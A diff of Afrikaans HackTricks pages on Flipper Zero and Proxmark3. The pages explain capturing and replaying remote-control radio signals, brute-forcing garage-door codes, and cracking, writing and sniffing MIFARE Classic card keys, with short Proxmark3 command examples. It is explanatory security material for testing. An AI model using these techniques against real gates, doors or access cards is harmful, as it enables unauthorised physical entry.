* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Vind kwesbaarhede wat die belangrikste is sodat jy hulle vinniger kan regstel. Intruder volg jou aanvalsoppervlak, voer proaktiewe dreigingsskanderings uit, vind probleme regoor jou hele tegnologie-stapel, van API's tot webtoepassings en wolkstelsels. [**Probeer dit vandag nog gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks).
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
***
|
||||
|
||||
Met [**Flipper Zero**](https://flipperzero.one/) kan jy:
|
||||
|
||||
* **Luister/Vasvang/Herhaal radiofrekwensies:** [**Sub-GHz**](fz-sub-ghz.md)****
|
||||
* **Lees/Vasvang/Emuleer NFC-kaarte:** [**NFC**](fz-nfc.md)****
|
||||
* **Lees/Vasvang/Emuleer 125kHz-etikette:** [**125kHz RFID**](fz-125khz-rfid.md)****
|
||||
* **Lees/Vasvang/Stuur infrarooi seine:** [**Infrarooi**](fz-infrared.md)****
|
||||
* **Lees/Vasvang/Emuleer iButtons:** [**iButton**](../ibutton.md)****
|
||||
* **Gebruik dit as 'n Bad USB**
|
||||
* **Luister/Vasvang/Afspeel radiofrekwensies:** [**Sub-GHz**](fz-sub-ghz.md)
|
||||
* **Lees/Vasvang/Emuleer NFC-kaarte:** [**NFC**](fz-nfc.md)
|
||||
* **Lees/Vasvang/Emuleer 125kHz-etikette:** [**125kHz RFID**](fz-125khz-rfid.md)
|
||||
* **Lees/Vasvang/Stuur Infrarooi seine:** [**Infrarooi**](fz-infrared.md)
|
||||
* **Lees/Vasvang/Emuleer iButtons:** [**iButton**](../ibutton.md)
|
||||
* **Gebruik dit as Bad USB**
|
||||
* **Gebruik dit as 'n sekuriteitsleutel (U2F)**
|
||||
* **Speel Snake**
|
||||
|
||||
**Ander Flipper Zero-bronne in** [**https://github.com/djsime1/awesome-flipperzero**](https://github.com/djsime1/awesome-flipperzero)****
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Vind kwesbaarhede wat die belangrikste is sodat jy hulle vinniger kan regstel. Intruder volg jou aanvalsoppervlak, voer proaktiewe dreigingsskanderings uit, vind probleme regoor jou hele tegnologie-stapel, van API's tot webtoepassings en wolkstelsels. [**Probeer dit vandag nog gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks).
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
**Ander Flipper Zero-bronne in** [**https://github.com/djsime1/awesome-flipperzer**](https://github.com/djsime1/awesome-flipperzero)
|
||||
|
|
|
@ -2,98 +2,90 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Vind kwesbaarhede wat die belangrikste is sodat jy dit vinniger kan regstel. Intruder volg jou aanvalsoppervlak, voer proaktiewe dreigingsskanderings uit, vind probleme regoor jou hele tegnologie-stapel, van API's tot webtoepassings en wolkstelsels. [**Probeer dit vandag nog gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks).
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
***
|
||||
|
||||
## Inleiding <a href="#kfpn7" id="kfpn7"></a>
|
||||
|
||||
Flipper Zero kan **radiofrekwensies in die reeks van 300-928 MHz ontvang en uitsaai** met sy ingeboude module, wat afstandsbeheerders kan lees, stoor en naboots. Hierdie beheerders word gebruik vir interaksie met hekke, versperrings, radioslote, afstandsbeheerskakelaars, draadlose deurklokkies, slim ligte en meer. Flipper Zero kan jou help om uit te vind of jou sekuriteit in gedrang is.
|
||||
Flipper Zero kan **radiofrekwensies in die reeks van 300-928 MHz ontvang en uitsaai** met sy ingeboude module, wat afstandsbeheerders kan lees, stoor en naboots. Hierdie beheerders word gebruik vir interaksie met hekke, versperrings, radioslote, afstandsbeheer-sakelaars, draadlose deurklokkies, slim ligte, en meer. Flipper Zero kan jou help om te leer of jou sekuriteit gekompromitteer is.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Sub-GHz hardeware <a href="#kfpn7" id="kfpn7"></a>
|
||||
|
||||
Flipper Zero het 'n ingeboude sub-1 GHz-module gebaseer op 'n [](https://www.st.com/en/nfc/st25r3916.html#overview)[CC1101-skyf](https://www.ti.com/lit/ds/symlink/cc1101.pdf) en 'n radio-antenne (die maksimum reikafstand is 50 meter). Beide die CC1101-skyf en die antenne is ontwerp om te werk by frekwensies in die 300-348 MHz, 387-464 MHz en 779-928 MHz-bande.
|
||||
Flipper Zero het 'n ingeboude sub-1 GHz module gebaseer op 'n [](https://www.st.com/en/nfc/st25r3916.html#overview)[CC1101-skyfie](https://www.ti.com/lit/ds/symlink/cc1101.pdf) en 'n radianteë (die maksimum reikafstand is 50 meter). Beide die CC1101-skyfie en die radianteë is ontwerp om te werk by frekwensies in die 300-348 MHz, 387-464 MHz, en 779-928 MHz bande.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (8) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Aksies
|
||||
|
||||
### Frekwensie-analiseerder
|
||||
### Frekwensie Analiseerder
|
||||
|
||||
{% hint style="info" %}
|
||||
Hoe om uit te vind watter frekwensie die afstandsbeheerder gebruik
|
||||
Hoe om te vind watter frekwensie die afstandsbeheerder gebruik
|
||||
{% endhint %}
|
||||
|
||||
Wanneer Flipper Zero geanaliseer word, skandeer dit seine se sterkte (RSSI) by al die beskikbare frekwensies in die frekwensiekonfigurasie. Flipper Zero wys die frekwensie met die hoogste RSSI-waarde, met 'n seinsterkte hoër as -90 [dBm](https://en.wikipedia.org/wiki/DBm).
|
||||
Tydens analiseer skandeer Flipper Zero seine sterkte (RSSI) by al die beskikbare frekwensies in die frekwensiekonfigurasie. Flipper Zero wys die frekwensie met die hoogste RSSI-waarde, met seinsterkte hoër as -90 [dBm](https://en.wikipedia.org/wiki/DBm).
|
||||
|
||||
Om die frekwensie van die afstandsbeheerder te bepaal, doen asseblief die volgende:
|
||||
Om die frekwensie van die afstandsbeheerder te bepaal, doen die volgende:
|
||||
|
||||
1. Plaas die afstandsbeheerder baie naby aan die linkerkant van Flipper Zero.
|
||||
2. Gaan na **Hoofmenu** **→ Sub-GHz**.
|
||||
3. Kies **Frekwensie-analiseerder**, druk dan die knoppie op die afstandsbeheerder wat jy wil analiseer.
|
||||
3. Kies **Frekwensie Analiseerder**, druk dan die knoppie op die afstandsbeheerder wat jy wil analiseer en hou dit vas.
|
||||
4. Kyk na die frekwensiewaarde op die skerm.
|
||||
|
||||
### Lees
|
||||
|
||||
{% hint style="info" %}
|
||||
Vind inligting oor die gebruikte frekwensie (ook 'n ander manier om uit te vind watter frekwensie gebruik word)
|
||||
Vind inligting oor die gebruikte frekwensie (ook 'n ander manier om te vind watter frekwensie gebruik word)
|
||||
{% endhint %}
|
||||
|
||||
Die **Lees**-opsie **luister na die gekonfigureerde frekwensie** met die aangeduide modulasie: 433.92 AM as verstek. As daar **iets gevind word** tydens die lees, word **inligting gegee** op die skerm. Hierdie inligting kan gebruik word om die sein in die toekoms te dupliseer.
|
||||
Die **Lees**-opsie **luister na die gekonfigureerde frekwensie** op die aangeduide modulasie: 433.92 AM standaard. As **iets gevind word** tydens die lees, word **inligting gegee** op die skerm. Hierdie inligting kan gebruik word om die sein in die toekoms te dupliseer.
|
||||
|
||||
Terwyl Lees in gebruik is, is dit moontlik om die **linker knoppie** te druk en dit te **konfigureer**.\
|
||||
Op hierdie oomblik het dit **4 modulasies** (AM270, AM650, FM328 en FM476), en **verskeie relevante frekwensies** wat gestoor is:
|
||||
Op hierdie oomblik het dit **4 modulasies** (AM270, AM650, FM328 en FM476), en **verskeie relevante frekwensies** gestoor:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (28).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Jy kan **enigeen wat jou interesseer** instel, maar as jy **nie seker is watter frekwensie** die een is wat deur die afstandsbeheerder gebruik word nie, **stel Hopping aan** (Standaard af) en druk die knoppie verskeie kere totdat Flipper dit vasvang en die inligting gee wat jy nodig het om die frekwensie in te stel.
|
||||
Jy kan **enige een wat jou interesseer instel**, maar as jy **nie seker is watter frekwensie** die een is wat deur die afstandsbeheerder gebruik word nie, **stel Hopping aan** (Standaard af) en druk die knoppie verskeie kere totdat Flipper dit vasvang en die inligting gee wat jy nodig het om die frekwensie in te stel.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Oorskakeling tussen frekwensies neem 'n rukkie, daarom kan seine wat tydens die oorskakeling uitgesaai word, gemis word. Stel 'n vasgestelde frekwensie wat deur die Frekwensie-analiseerder bepaal is, in vir beter seinontvangs.
|
||||
Oorskakeling tussen frekwensies neem 'n rukkie, daarom kan seine wat tydens die oorskakeling uitgesaai word, gemis word. Stel vir beter seinontvangs 'n vaste frekwensie vas wat deur die Frekwensie Analiseerder bepaal is.
|
||||
{% endhint %}
|
||||
|
||||
### **Lees Raw**
|
||||
### **Lees Rou**
|
||||
|
||||
{% hint style="info" %}
|
||||
Steel (en herhaal) 'n sein in die gekonfigureerde frekwensie
|
||||
Steel (en speel weer) 'n sein in die gekonfigureerde frekwensie
|
||||
{% endhint %}
|
||||
|
||||
Die **Lees Raw**-opsie **neem seine op** wat in die luisterfrekwensie gestuur word. Dit kan gebruik word om 'n sein te **steel** en dit te **herhaal**.
|
||||
Die **Lees Rou**-opsie **neem seine op** wat in die luisterfrekwensie gestuur word. Dit kan gebruik word om 'n sein te **steel** en dit **te herhaal**.
|
||||
|
||||
Standaard is **Lees Raw ook in 433.92 in AM650**, maar as jy met die Lees-opsie gevind het dat die sein wat jou interesseer in 'n **ander frekwensie/modulasie is, kan jy dit ook wysig** deur links te druk (terwyl jy binne die Lees Raw-opsie is).
|
||||
Standaard is **Lees Rou ook in 433.92 in AM650**, maar as jy met die Lees-opsie gevind het dat die sein wat jou interesseer in 'n **ander frekwensie/modulasie is, kan jy dit ook wysig** deur links te druk (terwyl jy binne die Lees Rou-opsie is).
|
||||
|
||||
### Brute-Force
|
||||
### Brute-Krag
|
||||
|
||||
As jy die protokol ken wat byvoorbeeld deur die motorhuisdeur gebruik word, is dit moontlik om **alle kodes te genereer en hulle met die Flipper Zero te stuur.** Hierdie is 'n voorbeeld wat algemene tipes motorhuise ondersteun: [**https://github.com/tobiabocchi/flipperzero-bruteforce**](https://github.com/tobiabocchi/flipperzero-bruteforce)\*\*\*\*
|
||||
As jy die protokol ken wat byvoorbeeld deur die motorhuisdeur gebruik word, is dit moontlik om **alle kodes te genereer en hulle met die Flipper Zero te stuur.** Hierdie is 'n voorbeeld wat algemene tipes motorhuise ondersteun: [**https://github.com/tobiabocchi/flipperzero-bruteforce**](https://github.com/tobiabocchi/flipperzero-bruteforce)
|
||||
|
||||
### Voeg handmatig by
|
||||
### Voeg Handmatig By
|
||||
|
||||
{% hint style="info" %}
|
||||
Voeg seine by van 'n gekonfigureerde lys protokolle
|
||||
Voeg seine by vanaf 'n gekonfigureerde lys protokolle
|
||||
{% endhint %}
|
||||
|
||||
#### Lys van [ondersteunde protokolle](https://docs.flipperzero.one/sub-ghz/add-new-remote) <a href="#3iglu" id="3iglu"></a>
|
||||
#### Lys van [ondersteunde protokolle](https://docs.flipperzero.one/sub-ghz/add-new-remote) <a href="#id-3iglu" id="id-3iglu"></a>
|
||||
|
||||
| Princeton\_433 (werk met die meeste statiese kodesisteme) | 433.92 | Statisch |
|
||||
| ------------------------------------------------------- | ------ | -------- |
|
||||
| Princeton\_433 (werk met die meeste statiese kode-stelsels) | 433.92 | Statisch |
|
||||
| ----------------------------------------------------------- | ------ | --------- |
|
||||
| Nice Flo 12bit\_433 | 433.92 | Statisch |
|
||||
| Nice Flo 24bit\_433 | 433.92 | Statisch |
|
||||
| CAME 12bit\_433 | 433.92 | Statisch |
|
||||
|
@ -105,8 +97,10 @@ Voeg seine by van 'n gekonfigureerde lys protokolle
|
|||
| DoorHan\_433 | 433.92 | Dinamies |
|
||||
| LiftMaster\_315 | 315.00 | Dinamies |
|
||||
| LiftMaster\_390 | 390.00 | Dinamies |
|
||||
| Security
|
||||
### Ondersteunde Sub-GHz-leweransiers
|
||||
| Security+2.0\_310 | 310.00 | Dinamies |
|
||||
| Security+2.0\_315 | 315.00 | Dinamies |
|
||||
| Security+2.0\_390 | 390.00 | Dinamies |
|
||||
### Ondersteunde Sub-GHz-verkopers
|
||||
|
||||
Kyk na die lys in [https://docs.flipperzero.one/sub-ghz/supported-vendors](https://docs.flipperzero.one/sub-ghz/supported-vendors)
|
||||
|
||||
|
@ -124,23 +118,16 @@ Kry dBms van die gestoorde frekwensies
|
|||
|
||||
* [https://docs.flipperzero.one/sub-ghz](https://docs.flipperzero.one/sub-ghz)
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Vind kwesbaarhede wat die belangrikste is sodat jy hulle vinniger kan regstel. Intruder volg jou aanvalsoppervlak, voer proaktiewe dreigingsskanderings uit, vind probleme regoor jou hele tegnologie-stapel, van API's tot webtoepassings en wolkstelsels. [**Probeer dit vandag nog gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks).
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy in HackTricks wil adverteer** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslagplekke.
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,32 +2,24 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks af in PDF-formaat**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Werk jy vir 'n **cybersekuriteitsmaatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks-klere**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**hacktricks-opslag**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud-opslag**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Vind kwesbaarhede wat die belangrikste is sodat jy hulle vinniger kan regstel. Intruder volg jou aanvalsoppervlak, voer proaktiewe dreigingsskanderings uit, vind probleme regoor jou hele tegnologie-stapel, van API's tot webtoepassings en wolkstelsels. [**Probeer dit vandag nog gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks).
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
***
|
||||
|
||||
## Aanvalle op RFID-stelsels met Proxmark3
|
||||
|
||||
Die eerste ding wat jy moet doen, is om 'n [**Proxmark3**](https://proxmark.com) te hê en [**die sagteware te installeer en sy afhanklikhede**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux)[**s**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux).
|
||||
|
||||
### Aanvalle op MIFARE Classic 1KB
|
||||
|
||||
Dit het **16 sektore**, elk met **4 blokke** en elke blok bevat **16B**. Die UID is in sektor 0 blok 0 (en kan nie verander word nie).\
|
||||
Om toegang te verkry tot elke sektor, het jy **2 sleutels** (**A** en **B**) nodig wat in **blok 3 van elke sektor** (sektor-trailer) gestoor word. Die sektor-trailer stoor ook die **toegangsbits** wat die **lees- en skryfregte** op **elke blok** gee deur die 2 sleutels te gebruik.\
|
||||
Dit het **16 sektore**, elkeen het **4 blokke** en elke blok bevat **16B**. Die UID is in sektor 0 blok 0 (en kan nie verander word nie).\
|
||||
Om toegang tot elke sektor te verkry, het jy **2 sleutels** (**A** en **B**) nodig wat gestoor word in **blok 3 van elke sektor** (sektor-trailer). Die sektor-trailer stoor ook die **toegangsbits** wat die **lees- en skryfregte** op **elke blok** gee deur die 2 sleutels te gebruik.\
|
||||
2 sleutels is nuttig om leesregte te gee as jy die eerste een ken en skryfregte as jy die tweede een ken (byvoorbeeld).
|
||||
|
||||
Verskeie aanvalle kan uitgevoer word
|
||||
|
@ -49,11 +41,11 @@ proxmark3> hf mf eset 01 000102030405060708090a0b0c0d0e0f # Write those bytes to
|
|||
proxmark3> hf mf eget 01 # Read block 1
|
||||
proxmark3> hf mf wrbl 01 B FFFFFFFFFFFF 000102030405060708090a0b0c0d0e0f # Write to the card
|
||||
```
|
||||
Die Proxmark3 maak dit moontlik om ander aksies uit te voer, soos die **afluistering** van 'n **Tag to Reader kommunikasie** om te probeer om sensitiewe data te vind. Op hierdie kaart kan jy net die kommunikasie afluister en die gebruikte sleutel bereken omdat die **kriptografiese operasies wat gebruik word, swak is** en deur die plain en cipher teks te ken, kan jy dit bereken (`mfkey64` instrument).
|
||||
Die Proxmark3 maak dit moontlik om ander aksies uit te voer soos **afluistering** van 'n **Tag to Reader kommunikasie** om te probeer sensitiewe data te vind. Op hierdie kaart kan jy net die kommunikasie afluister en die gebruikte sleutel bereken omdat die **kriptografiese operasies wat gebruik word swak is** en deur die plain en siffer teks te ken, kan jy dit bereken (`mfkey64`-werktuig).
|
||||
|
||||
### Rou Bevele
|
||||
|
||||
IoT-stelsels gebruik soms **nie-handelsmerk of nie-kommersiële etikette**. In hierdie geval kan jy die Proxmark3 gebruik om aangepaste **rou bevele na die etikette** te stuur.
|
||||
IoT-stelsels gebruik soms **nie-handelsmerk of nie-kommersiële etikette**. In hierdie geval kan jy Proxmark3 gebruik om aangepaste **rou bevele na die etikette** te stuur.
|
||||
```bash
|
||||
proxmark3> hf search UID : 80 55 4b 6c ATQA : 00 04
|
||||
SAK : 08 [2]
|
||||
|
@ -67,27 +59,8 @@ Met hierdie inligting kan jy probeer om inligting oor die kaart en die manier wa
|
|||
|
||||
### Skripte
|
||||
|
||||
Die Proxmark3 sagteware kom met 'n voorgelaaide lys van **outomatiseringsskripte** wat jy kan gebruik om eenvoudige take uit te voer. Om die volledige lys te herwin, gebruik die `script list` bevel. Gebruik daarna die `script run` bevel, gevolg deur die naam van die skrip:
|
||||
Die Proxmark3 sagteware kom met 'n voorgelaaide lys van outomatiese skripte wat jy kan gebruik om eenvoudige take uit te voer. Om die volledige lys te herwin, gebruik die `script list` bevel. Gebruik daarna die `script run` bevel, gevolg deur die skrip se naam:
|
||||
```
|
||||
proxmark3> script run mfkeys
|
||||
```
|
||||
Jy kan 'n skripsie skep om **etiketlesers te fuzz**, deur die data van 'n **geldige kaart** te kopieer en 'n **Lua-skripsie** te skryf wat een of meer **willekeurige byte** randomiseer en nagaan of die **leser crasht** met enige iterasie.
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Vind kwesbaarhede wat die belangrikste is, sodat jy hulle vinniger kan regstel. Intruder volg jou aanvalsoppervlak, voer proaktiewe dreigingsskanderings uit en vind probleme regoor jou hele tegnologie-stapel, van API's tot webtoepassings en wolkstelsels. [**Probeer dit vandag nog gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks).
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm\_campaign=hacktricks&utm\_source=referral" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Werk jy in 'n **cybersekuriteitsmaatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**hacktricks-repo**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud-repo**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
Jy kan 'n skripsie skep om **taglesers te fuzz**, deur die data van 'n **geldige kaart** te kopieer en dan 'n **Lua-skripsie** te skryf wat een of meer **willekeurige bytes** randomiseer en nagaan of die **leser vasloop** met enige iterasie.
|
||||
|
|
|
@ -4,76 +4,74 @@
|
|||
|
||||
